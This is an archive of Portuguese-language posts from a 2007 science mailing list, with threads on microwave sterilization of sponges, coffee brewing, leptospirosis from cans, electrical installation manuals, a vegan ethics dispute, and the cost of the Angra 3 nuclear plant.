Cientista americano teve parada cardíaca, após ser vítima de uma série
de derrames. Seu trabalho mais famoso, de 1952, mostrou como moléculas
da vida podem ter surgido.

http://g1.globo.com/Noticias/Ciencia/0,,MUL41260-5603,00.html
----------------
[]s,

Roberto Takata



SUBJECT: Re: off-toppic:] Microondas esteriliza
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 08:35

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Ainda nesse artigo 'ensinei' como fazer um bom café e a vantagem de
> se colocar o açúcar na água para aumentar o ponto de ebulição e,
> assim, extrair mais o óleo do pó de café.

"sibemque" não convém hipercozinhar o pó de café. Água muito quente
extrai tb substâncias q tornam o café muito amargo, tornando-o intragável.

A temperatura ideal para extrair um bom café - considerando-se pó de
boa qualidade (infelizmente ainda tem muito café com serragem no
mercado) - é um pouco abaixo do de ebulição ao nível do mar: entre 90
e 95oC.

http://www.abic.com.br/scafe_dicas.html
-----------------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] off-toppic:] Microondas esteriliza
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 08:42

O site do Feira de ciencias estah fora do ar (08:40).

Nao seria interessante o Feira ter uma versao em blog para anunciar
as novidades?
Sei que pode ser um pouco complicada a edicao. Mas existem boas
alternativas, como o Blogger (do google) e a plataforma do Wordpress.

Ateh
Luis Brudna
ps: estou acessando pouco a internet por falta de tempo, acho que
nesse final de semana eu consigo ler os mails atrasados.


On 5/24/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>
>
>
>
>
> Já coloquei essa informação no Jornal de Barretos, O Diário, na minha página "Feira de Ciências" (semanal) em janeiro/2007. Salientei não só as esponjas da pia, como aquele famigerado 'paninho' que são usados na pia. Não esqueci da 'tábua de cortar carne' e das bactérias 'imiscuídas' nas fibras da madeira.
> Aproveitei o artigo para comentar sobre as xícaras trincadas, verdadeiras colônias de bactérias (basta ver a trinca com microscópio) que devem ser jogadas fora e sobre a utilização do vinagre (ou sal) para colocar nos pratos dos vasos (e outros locais) no combate ao vetor da dengue (aedhes).
> Ainda nesse artigo 'ensinei' como fazer um bom café e a vantagem de se colocar o açúcar na água para aumentar o ponto de ebulição e, assim, extrair mais o óleo do pó de café. Mostrei como observar a superfície do cafezinho na xícara para ver a bela estrutura 'celular' (parecida com as células das rolhas de cortiça) etc.
>
> ... utilidade pública e o microonda ...
>
> []'
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================


SUBJECT: Re: [ciencialist] off-toppic:] Microondas esteriliza
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 08:43

Ops. A queda do Feira foi bem rapida. Agora voltou a funcionar.
Aposto que foi um problema aqui na rede. :-)

Ateh
Luis Brudna



On 5/24/07, Luis Brudna <luisbrudna@gmail.com> wrote:
> O site do Feira de ciencias estah fora do ar (08:40).
>
> Nao seria interessante o Feira ter uma versao em blog para anunciar
> as novidades?
> Sei que pode ser um pouco complicada a edicao. Mas existem boas
> alternativas, como o Blogger (do google) e a plataforma do Wordpress.
>
> Ateh
> Luis Brudna
> ps: estou acessando pouco a internet por falta de tempo, acho que
> nesse final de semana eu consigo ler os mails atrasados.
>
>
> On 5/24/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
> >
> >
> >
> >
> >
> >
> > Já coloquei essa informação no Jornal de Barretos, O Diário, na minha página "Feira de Ciências" (semanal) em janeiro/2007. Salientei não só as esponjas da pia, como aquele famigerado 'paninho' que são usados na pia. Não esqueci da 'tábua de cortar carne' e das bactérias 'imiscuídas' nas fibras da madeira.
> > Aproveitei o artigo para comentar sobre as xícaras trincadas, verdadeiras colônias de bactérias (basta ver a trinca com microscópio) que devem ser jogadas fora e sobre a utilização do vinagre (ou sal) para colocar nos pratos dos vasos (e outros locais) no combate ao vetor da dengue (aedhes).
> > Ainda nesse artigo 'ensinei' como fazer um bom café e a vantagem de se colocar o açúcar na água para aumentar o ponto de ebulição e, assim, extrair mais o óleo do pó de café. Mostrei como observar a superfície do cafezinho na xícara para ver a bela estrutura 'celular' (parecida com as células das rolhas de cortiça) etc.
> >
> > ... utilidade pública e o microonda ...
> >
> > []'
> >
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> > Luiz Ferraz Netto [Léo]
> > leobarretos@uol.com.br
> > http://www.feiradeciencias.com.br/doacoes.asp
> > ===========================
>


SUBJECT: Re: [ciencialist] Paradoxo: duas forças irresistíveis
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/05/2007 10:27

Sr. Álvaro:
Para que não seja enquadrado nas leis em vigor solitito que jamais pronuncie o nome de minha amada Jolie, podendo ficar conm Pitt todinho procê.
Ingressei em um processo para que vs. entre na vara da família.

silvio.
----- Original Message -----
From: murilo filo
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 22, 2007 11:35 PM
Subject: Re: [ciencialist] Paradoxo: duas forças irresistíveis


Álvaro, cê matô ele... no mínimo, cê quebrô as perna dele...

>From: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Paradoxo: duas forças irresistíveis
>Date: Tue, 22 May 2007 10:44:27 -0300
>
>Quanto à Angelina Jolie, concordo, mas Brad Pitt é irresistível?
>
>[ ]s
>
>Alvaro Augusto
>
>
>----- Original Message -----
>From: "Manuel Bulcão" <manuelbulcao@uol.com.br>
>To: <ciencialist@yahoogrupos.com.br>
>Sent: Tuesday, May 22, 2007 10:31 AM
>Subject: [ciencialist] Paradoxo: duas forças irresistíveis
>
>
>O que acontece quando duas forças irresistíveis se chocam:
>
>Resposta: a Angelina Jolie engravida do Brad Pitt.
>
>[]s
>Manuel Bulcão
>
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SUBJECT: Re: [ciencialist] Re: [Pingão] Rupert Sheldrake - A Ciência em Xeque
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/05/2007 10:33

Prezado Murilo:
Não entendi sua resposta: simplesmente relatei fatos historicos comprováveis.
Sobre minha opção por ser apenas um livre pensador, sem nenhum lastro ideológico a não ser das ciências que nasceram da árvore da filosofia, é, acredito, ainda um dos poucos direitos que nos resta, embora o nosso SS seja uma das maiores autoridades sobre a Inquisição: foi chefe da Congregação dos Ritos (será que o museu do vaticano ainda conserva os "aparelhos"?

um bom dia,

silvio.


----- Original Message -----
From: murilo filo
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 22, 2007 11:32 PM
Subject: RE: [ciencialist] Re: [Pingão] Rupert Sheldrake - A Ciência em Xeque


Grande Sílvio... shalon...

Vc não deveria ser esquecer de que o pessoal abaixo, que lhe inspirou, NUNCA
foi ateu...

''É preciso entender que estamos no limiar da presença dos humanos racionais
sobre
a Terra: começou tímidamente após a última glaciação a 20.000 anos e só
recebeu
um impulso com a filosofia grega, chinesa e indu e posteriormente, com o
Iluminismo, (1.500): e sempre tendo de vencer fortes barreiras do
preconceito,
do fundamentalisto religioso, mítico, conservador.''

Chato, né? abr/M.

>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <Conversa_de_Botequim@yahoogrupos.com.br>
>CC: <ciencialist@yahoogrupos.com.br>,<Acropolis_@yahoogrupos.com.br>
>Subject: [ciencialist] Re: [Pingão] Rupert Sheldrake - A Ciência em Xeque
>Date: Mon, 21 May 2007 21:45:47 -0300
>
>Lili:
>
>A ciência NUNCA está em xeque por uma simples razão: o objetivo único dela
>é a busca do conhecimento, frente a determinado problema.
>
>Esta teoria - da qual tenho experiência própria com uma cachorrinha que -
>parece incrível - todos os sábados ´e só aos sábados ficava sentada na
>porta da varanda da casa do meu sítio, achardando minha chegada: quando
>enconstava o carro e ia abrir o portão ela vinha pela estradinha ganindo,
>urinando e se arrastando no chão até pular nos meus braços. O resto da
>cachorrada nem dava importância à minha presença....A casa ficava a uns 150
>m. do portão....
>
>Existem pesquisas em curso, não apregoadas nos jornais, sobre a emissão de
>determinadas ondas ou mesmo odores emitidos pelo cérebro em ocasiões
>especiais: uma das características - veja que não digo evidência pois
>existe experiência comprovada - é a amizade, a amtipatia: quantas vezes
>sentimos bem estar na presença de uma pessoa e detestamos outras... entre
>os homens e os animais também existe isso: a nova técnica de doma de
>cavalos, sem violência, só com palavras, criada nos EUA e já em uso aqui, é
>também um sinal de que existe um relacionamento bioquímico entre os seres
>vivos. Algum dia isso será desvendado e todos acharão perfeitamente normal
>fatos que até então eram misteriosos, místidos, milagres....
>É preciso entender que estamos no limiar da presença dos humanos racionais
>sobre a Terra: começou tímidamente após a última glaciação a 20.000 anos e
>só recebeu um impulso com a filosofia grega, chinesa e indu e
>posteriormente, com o Iluminismo, (1.500): e sempre tendo de vencer fortes
>barreiras do preconceito, do fundamentalisto religioso, mítico,
>conservador.
>






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Microondas esteriliza.UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 11:40

Bom dia a todos,

não creio a temperatura seja uma explicação razoável,
o atrito gera uma temperatura inferior a 100 celsius
o que não é suficiente para garantir a esterilização
com uma probabilidade de falha satisfatória.

Também não creio que a discussão mata 99% seja razoável
como motivo de satisfação.

Uma vela de filtro de cerâmica comum retém mais bactérias que o
microondas e ainda assim não é seguro para caracterizar a
eliminação de microrganismos como o vibrião da cólera.

Saudações. UCFilho

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
<scordeiroes@...> escreveu
>
> Grupos.com.br
>
>
>
>
>
>
> Microondas esteriliza esponjas, diz pesquisa
>
>
>
> Cientistas americanos descobriram uma nova
arma contra os germes que causam o apodrecimento da comida: o forno
de microondas.
>
> Colocar esponjas de lavar pratos e panelas
por dois minutos dentro do forno de microondas pode matar 99% dos
microorganismos, de acordo com um estudo publicado no Journal of
Environmental Health .
>
> O calor, e não a radiação, é responsável
pela esterilização de esponjas, disseram pesquisadores dos Estados
Unidos.
>
> Esponjas e panos de prato são freqüentes
fontes de microorganismos causadores de intoxicação alimentar porque
vírus e bactérias provenientes de ovos, carne e vegetais crus se
propagam em condições de umidade.
>
> Estima-se que uma esponja de cozinha possa
conter 10 mil bactérias, inclusive E. coli e salmonella, em pouco
mais de dois centímetros quadrados.
>
> Gabriel Bitton, um perito em engenharia
ambiental da Universidade da Flórida, e seus colegas contaminaram
esponjas em água suja que continha bactéria fecal, vírus, parasitas e
esporos de bactérias.
>
> Em seguida, eles colocaram o material
contaminado em um forno de microondas durante períodos de tempo
diferentes.
>
> Depois de dois minutos com potência total,
99% das bactérias haviam sido mortas.
>
> A bactéria E. coli foi morta depois de
apenas 30 segundos.
>
> Esporos de Bacillus cereus - que são
associados amplamente com vegetais e alimentos com contato com o solo
e são normalmente muito resistentes a radiação, calor e substâncias
químicas tóxicas - foram completamente erradicados depois de quatro
minutos dentro do microondas.
>
> Calor
>
> Bitton disse que o calor se mostrou mais
fatal do que a radiação porque microondas trabalham agitando
moléculas de água.
>
> Ele recomendou que se coloque esponjas
úmidas - e não secas - dentro do microondas para minimizar o risco de
incêndio e que não se coloque no forno esponjas de metal do tipo
bombril.
>
> Dois minutos todos os dias serão
suficientes para pessoas que cozinham regularmente, disse ele.
>
> "Basicamente, o que constatamos é que nós
podemos matar a maioria das bactérias em dois minutos."
>
> "As pessoas costumam lavar esponjas no
aparelho de lavar louça, mas se o que elas querem é descontaminá-las
e não apenas limpá-las, deveriam usar o forno de microondas", afirmou.
>
> A equipe também examinou se os microondas
poderiam ser usados para esterilizar seringas contaminadas.
>
> Constatou-se que este é um método eficaz,
mas que o tempo de esterilização é muito maior: até 12 minutos para
os esporos de Bacillus cereus.
>
>
http://www.bbc.co.uk/portuguese/ciencia/story/2007/01/070124_microonda
sg.shtml
>
>
>
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> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: Microondas esteriliza.UCFilho
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 11:54

--- Em ciencialist@yahoogrupos.com.br, "UCFilho" <ucfilho27182@...>
> Também não creio que a discussão mata 99% seja razoável
> como motivo de satisfação.

Segundo o biomédico Roberto Figueiredo:

"10. Esponjas representam uma fonte de contaminação na cozinha?

Realmente, a esponja é um foco de contaminação. Após cada utilização,
lavar com água e sabão, espremer bem, imergir em uma solução de 1
litro de água + 2 colheres de sopa de água sanitária, por 5 minutos.
Guardar em lugar seco, nunca sobre o sabão. Trocar pelo menos a cada
semana."
http://adm.globolog.globo.com/globolog/publicacao/permalink.do?postId=220027
-------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Paradoxo: duas forças irresistíveis
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/05/2007 12:14

Tudo bem. Minha preferida é Jennifer Connelly...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, May 24, 2007 10:27 AM
Subject: Re: [ciencialist] Paradoxo: duas forças irresistíveis


Sr. Álvaro:
Para que não seja enquadrado nas leis em vigor solitito que jamais pronuncie
o nome de minha amada Jolie, podendo ficar conm Pitt todinho procê.
Ingressei em um processo para que vs. entre na vara da família.

silvio.
----- Original Message -----
From: murilo filo
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 22, 2007 11:35 PM
Subject: Re: [ciencialist] Paradoxo: duas forças irresistíveis


Álvaro, cê matô ele... no mínimo, cê quebrô as perna dele...

>From: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Paradoxo: duas forças irresistíveis
>Date: Tue, 22 May 2007 10:44:27 -0300
>
>Quanto à Angelina Jolie, concordo, mas Brad Pitt é irresistível?
>
>[ ]s
>
>Alvaro Augusto
>
>
>----- Original Message -----
>From: "Manuel Bulcão" <manuelbulcao@uol.com.br>
>To: <ciencialist@yahoogrupos.com.br>
>Sent: Tuesday, May 22, 2007 10:31 AM
>Subject: [ciencialist] Paradoxo: duas forças irresistíveis
>
>
>O que acontece quando duas forças irresistíveis se chocam:
>
>Resposta: a Angelina Jolie engravida do Brad Pitt.
>
>[]s
>Manuel Bulcão



SUBJECT: Fw: grupo de trabalho
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 24/05/2007 13:02

Help!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Franco-Macrotec
Para: leobarretos@uol.com.br
Enviada em: quarta-feira, 23 de maio de 2007 19:08
Assunto: grupo de trabalho


Prof. Leo,tive conhecimento de sua pagina, muito interessante e instrutiva, parabéns.

Estava pesquisando sobre geradores de alta freqüência, e cheguei nela.

Tenho interesse de montar uma equipe, para desenvolver geradores de alta freqüência para uso em equipamentos de raios x,já fabricamos geradores convencionais pulsados.

Minha pergunda: se dentro do seu conhecimento Vc. teria alguma sugestão para recrutar estudantes com interesse nesta área.

Meu e-mail franco@macrotec.com.br

Ficarei muito grato com sua sugestão e ajuda.

Parabéns pelo seu trabalho

Abraços

Franco.

PS. Nossa empresa está situada em São Paulo- Cotia









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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Instalações Elétricas
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 24/05/2007 13:03

+ help!
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Renata Feitosa da Silva" <renfsilva@PREFEITURA.SP.GOV.BR>
Para: <leobarretos@uol.com.br>
Enviada em: quarta-feira, 23 de maio de 2007 16:30
Assunto: Instalações Elétricas


olá, meu nome é Renata Feitosa.

Li um artigo seu sobre instalações elétricas e achei muito interessante,
gostaria de saber se você pode me dar algumas dicas para interpretar as
instalações elétricas em uma planta de casa.

Aguardo resposta,

Renata Feitosa
renata-feitosa@hotmail.com


--
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SUBJECT: Re: [ciencialist] off-toppic:] Microondas esteriliza
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/05/2007 13:44

Realmente, de manhã cedo, também não consegui entrar no site ... nem pelo ftp para atualizar um arquivo!
Acredito que a Convex estava em manutenção.
As novidades do site (por pouco não são diárias!) eu destaco colocando o "ponto piscante". Mas, realmente não há um local previsto para ver os itens acrescentados, digamos, na semana.
Deveria ter um jeitão para ocorrer isso 'automaticamente' cada vez que coloca algo novo.
Agradeço a mensagem.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luis Brudna" <luisbrudna@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 24 de maio de 2007 08:42
Assunto: Re: [ciencialist] off-toppic:] Microondas esteriliza


O site do Feira de ciencias estah fora do ar (08:40).

Nao seria interessante o Feira ter uma versao em blog para anunciar
as novidades?
Sei que pode ser um pouco complicada a edicao. Mas existem boas
alternativas, como o Blogger (do google) e a plataforma do Wordpress.

Ateh
Luis Brudna
ps: estou acessando pouco a internet por falta de tempo, acho que
nesse final de semana eu consigo ler os mails atrasados.


On 5/24/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>
>
>
>
>
> Já coloquei essa informação no Jornal de Barretos, O Diário, na minha página "Feira de Ciências" (semanal) em janeiro/2007. Salientei não só as esponjas da pia, como aquele famigerado 'paninho' que são usados na pia. Não esqueci da 'tábua de cortar carne' e das bactérias 'imiscuídas' nas fibras da madeira.
> Aproveitei o artigo para comentar sobre as xícaras trincadas, verdadeiras colônias de bactérias (basta ver a trinca com microscópio) que devem ser jogadas fora e sobre a utilização do vinagre (ou sal) para colocar nos pratos dos vasos (e outros locais) no combate ao vetor da dengue (aedhes).
> Ainda nesse artigo 'ensinei' como fazer um bom café e a vantagem de se colocar o açúcar na água para aumentar o ponto de ebulição e, assim, extrair mais o óleo do pó de café. Mostrei como observar a superfície do cafezinho na xícara para ver a bela estrutura 'celular' (parecida com as células das rolhas de cortiça) etc.
>
> ... utilidade pública e o microonda ...
>
> []'
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================


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SUBJECT: Re: [ciencialist] Fw: Instalações Elétricas
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/05/2007 16:00

Renatinha:
Sobre a simbologia, os arquitetos têm, algumas casas do ramo distribuem, faz parte nas normas tecnica - acho que NBR-8 e qualquer livrinho de instalaçods eletricas têm: jáprocurou na internet, wilkpedia?

silvio
----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist
Sent: Thursday, May 24, 2007 1:03 PM
Subject: [ciencialist] Fw: Instalações Elétricas


+ help!
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Renata Feitosa da Silva" <renfsilva@PREFEITURA.SP.GOV.BR>
Para: <leobarretos@uol.com.br>
Enviada em: quarta-feira, 23 de maio de 2007 16:30
Assunto: Instalações Elétricas

olá, meu nome é Renata Feitosa.

Li um artigo seu sobre instalações elétricas e achei muito interessante,
gostaria de saber se você pode me dar algumas dicas para interpretar as
instalações elétricas em uma planta de casa.

Aguardo resposta,

Renata Feitosa
renata-feitosa@hotmail.com

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re(2): Microondas esteriliza.UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 16:47

Boa tarde Takata e a todos,

não há dúvidas que eliminar as bactérias de esponjas seja importante
para saúde coletiva, mas os aclamados 99% não significam um bom
resultado.

Considerando que uma esponja tenha 10000 bactérias* seria necessário
eliminar pelo menos 99.999% das bactérias para que se tenha a chance
de que em cada dez vezes de uso da esponja recentemente limpa uma
delas
a esponja esteja contaminada.

Quanto à URL do biomédico que você citou, o uso de hipoclorito
garante resultados satisfatórios para tempos superiores à 1h **, mas
não concordo com a primeira colocação do autor ao considerar que a
leptospirose pode ser transmitida por latas em condições que alguém
venha a tomar uma boa cerveja onde o que se tem são vestígios de
urina seca na superfície da lata.

Saudações. UCFilho


--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "UCFilho" <ucfilho27182@>
> > Também não creio que a discussão mata 99% seja razoável
> > como motivo de satisfação.
>
> Segundo o biomédico Roberto Figueiredo:
>
> "10. Esponjas representam uma fonte de contaminação na cozinha?
>
> Realmente, a esponja é um foco de contaminação. Após cada
utilização,
> lavar com água e sabão, espremer bem, imergir em uma solução de 1
> litro de água + 2 colheres de sopa de água sanitária, por 5 minutos.
> Guardar em lugar seco, nunca sobre o sabão. Trocar pelo menos a cada
> semana."
> http://adm.globolog.globo.com/globolog/publicacao/permalink.do?
postId=220027
> -------------
> []s,
>
> Roberto Takata
>




SUBJECT: Re: Paradoxo: duas forças irresistíveis
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 17:32

Pra mim qq computador ou mente trava para responder a esta pergunta:
As facas Ginsu podem cortar as meias Vivarina?

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> Para que não seja enquadrado nas leis em vigor solitito que jamais
> pronuncie o nome de minha amada Jolie, podendo ficar conm Pitt
> todinho procê.
> Ingressei em um processo para que vs. entre na vara da família.
>
> silvio.




SUBJECT: Re: [ciencialist] Fw: Instalações Elétricas
FROM: "ssilva" <ssilva@smad.curitiba.pr.gov.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/05/2007 17:55


Eu encontrei bastante material sobre instalações elétricas no portal do Procobre (http://www.procobre.org) onde eles disponibilizam manuais de dimensionamento de condutores, aterramento e manual de instalações elétricas, entre tantos. Este último, talvez atenda plenamente a necessidade da Renata.

Manual de instalações elétricas residenciais
http://www.procobre.org/pr/pdf/pdf_pr/05.zip

Manual de aterramento elétrico
http://www.procobre.org/pr/pdf/pdf_pr/03_aterrame.pdf

Manual de harmônicas
http://www.procobre.org/pr/pdf/pdf_pr/06_harmonic.pdf


Sandro Silva

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Re(2): Microondas esteriliza.UCFilho
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 19:36

--- Em ciencialist@yahoogrupos.com.br, "UCFilho" <ucfilho27182@...>
> não concordo com a primeira colocação do autor ao considerar que a
> leptospirose pode ser transmitida por latas em condições que alguém
> venha a tomar uma boa cerveja onde o que se tem são vestígios de
> urina seca na superfície da lata.

Ele fala q teoricamente é possível. Ele voltou ao tema depois:

"É verdade que há risco de contaminação ao beber alguma coisa direto
de latinhas de refrigerante ou cerveja?

Acredito que o perigo a que se refere a questão está relacionado com a
leptospirose, doença infecciosa causada pela bactéria Leptospira
interrogans, transmitida pela urina de ratos. A resposta é, então: não.

Embora teoricamente seja possível, o contágio é muito difícil porque a
latinha teria que estar acima dos 22ºC e a urina do roedor teria que
ser recente. Como bebidas em lata geralmente são servidas frias, e
urina fresca é visível e cheira mal, dificilmente alguém consumiria
uma lata nessas condições.

No entanto, por higiene, é indicada a passagem de água (corrente) na
superfície da lata e de outros recipientes usados (plásticos, por
exemplo)."
http://adm.globolog.globo.com/globolog/publicacao/permalink.do?postId=295556

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] A verdadeira foto não está no álbum, né Takata?
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/05/2007 22:55

Em Portugal, nos tempos do El Cid os opíparos repastos eram com carne de onagro.

silvio.

----- Original Message -----
From: Bruna Carolina Ribas
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 22, 2007 2:11 PM
Subject: [ciencialist] A verdadeira foto não está no álbum, né Takata?


O boi não tem culpa nenhuma, Alvaro...

Ops!O boi tem culpa de ser apetitoso...e a vaca, a galinha, os porcos e os peixes tbm, no Nordeste o jumento tá na moda!
No Oriente a culpa é dos cachorros e gatos, e no Egito é dos camelos!
Na Europa, a culpa é dos gansos e patos ter aquele fígado "fácil" de adoecer, na África tá gostoso é nosso parente mais próximo no prato e na Austrália, coisa boa é um canguru assado...
No Japão, bom mesmo é comer golfinho.
No Afeganistão depois do jogar pólo com a cabeça do bode o corpo foi assado...
Ufa...aos que andam, nadam ou rastejam, cuidado...
e lá vamos nós, o "must" das espécies do planeta comer tudo o que é possível.
E as nossas proteínas?
Precisamos de proteínas!!!
Tá tudo certo, continuamos assim...no incêndio, eu garanto a preservação das 200 vacas se cada uma valer mais que o que trabalhador comum pode ganhar um ano inteiro...eu tenho a ética superior, pois que vou garantir
AS PROTEÍNAS!!!!

Assunto encerrado.

E Homero, te pego depois nas quebradas, porque vou dedicar a ti um tratado sobre a senciência e além, que já estou escrevendo...me aguarde

Sinceramente,

Bruna Carolina

"Alvaro Augusto (L)" <alvaro@lunabay.com.br> escreveu: E que culpa tem o boi?

[ ]s

Alvaro Augusto

----- Original Message -----
From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 21, 2007 11:14 PM
Subject: [ciencialist] Re: A verdadeira foto do Takata

Proponho um churrasco para resolver essa peleja.

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > Por que seu pensamento é superior?Simplesmente porque representa a
> > mentalidade da sociedade vigente?Quem pode julgar isso?
>
> Vc quis julgar, acho q posso julgar tb. Não é meu pensamento q é
> superior e a ética q eu aceito (superior à sua ética).
>
> A - Vc salvaria 200 vacas e deixaria um ser humano morrer.
> B - Vc salvaria 3 vacas e deixaria um garoto morrer.
> C - Vc salvaria 3 frangos e deixaria uma grávida morrer.
>
> 1 - Eu salvaria um ser humano no lugar de 200 vacas.
> 2 - Eu salvaria o garoto no lugar de 3 vacas.
> 3 - Eu salvaria a mulher grávida no lugar dos 3 frangos.
>
> Claro q vc considera sua ética superior na medida em q condena
> eticamente quem se alimenta de animais não-humanos. Entre uma ética q
> proíbe comer carne, mas defende q as situações de A a C possam ocorrer
> e uma ética q permite comer carne, mas defende q ocorram as situações
> 1 a 3; o segundo sistema é superior.
>
> > Lhe fiz uma ironia sbre sua própria aparência e venho pedir
> > desculpas por isso, por invadir sua privacidade pois que fui mal
> > compreendida, eu sei bem o que significa etologia e psicologia e
> > sobre etologia e a diferença para Behavorismo, que parece que vc aí
> > confundiu.
>
> Menos mal q tenha pedido desculpas, embora o trecho abaixo dê pintas
> de q não é sincera.
>
> Ninguém mencionou behaviorismo.
>
> > Porém, tenho que novamente pedir excusas a lista pois que apenas um
> > diploma universitário nos permite discutir assuntos referentes ao
> > "diploma" que temos...
>
> Discutir vc pode discutir à vontade sobre praticamente qq coisa. Dar
> diagnóstico em área regulamentada ao qual vc não está habilitada é
> exercício ilegal de profissão.
>
> > Porém, eu me furto a responder sua pergunta porque não estou aqui
> > para impor meu pensamento para a lista, assim como não vou discutir
> > na lista o certo e o errado.
>
> Menos mal q resolveu parar de querer impor a sua visão vegan.
>
> > Honestamente, e respeitosamente falando, querido Takata, vc parece
> > querer impor apenas para "ganhar a discussão"...isso não é algo que
> > me interessa.
>
> Não impus coisa alguma. Sobre o exercício ilegal de psicologia, está
> na lei. Sobre vegetarianismo e onivorismo, não há nenhuma imposição
> sobre os vegetarianos - querem ser vegetarianos? Ótimo, q sejam
> felizes, q tomem cuidados para a complementação da dieta. Mas a minha
> visão tb é: querem ser onívoros? Tb ótimo, q sejam felizes e q tomem
> cuidados para balancearem bem a dieta.
>
> []s,
>
> Roberto Takata



__

Bruna Carolina Ribas Silva
Rio Grande/RS

"A maior tradição do ser humano é evoluir"

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[As partes desta mensagem que não continham texto foram removidas]






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Angra 3
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 24/05/2007 23:00

Construção de Angra 3 deverá custar R$ 7,2 bilhões

Que se demita a Marina, a outra feia:

Desse total, cerca de 30% são custos em moeda estrangeira, porque se referem a compra de equipamentos importados

A construção da usina nuclear de Angra 3 deverá custar aproximadamente R$ 7,2 bilhões. Desse total, cerca de 30% são custos em moeda estrangeira, porque se referem a compra de equipamentos importados.

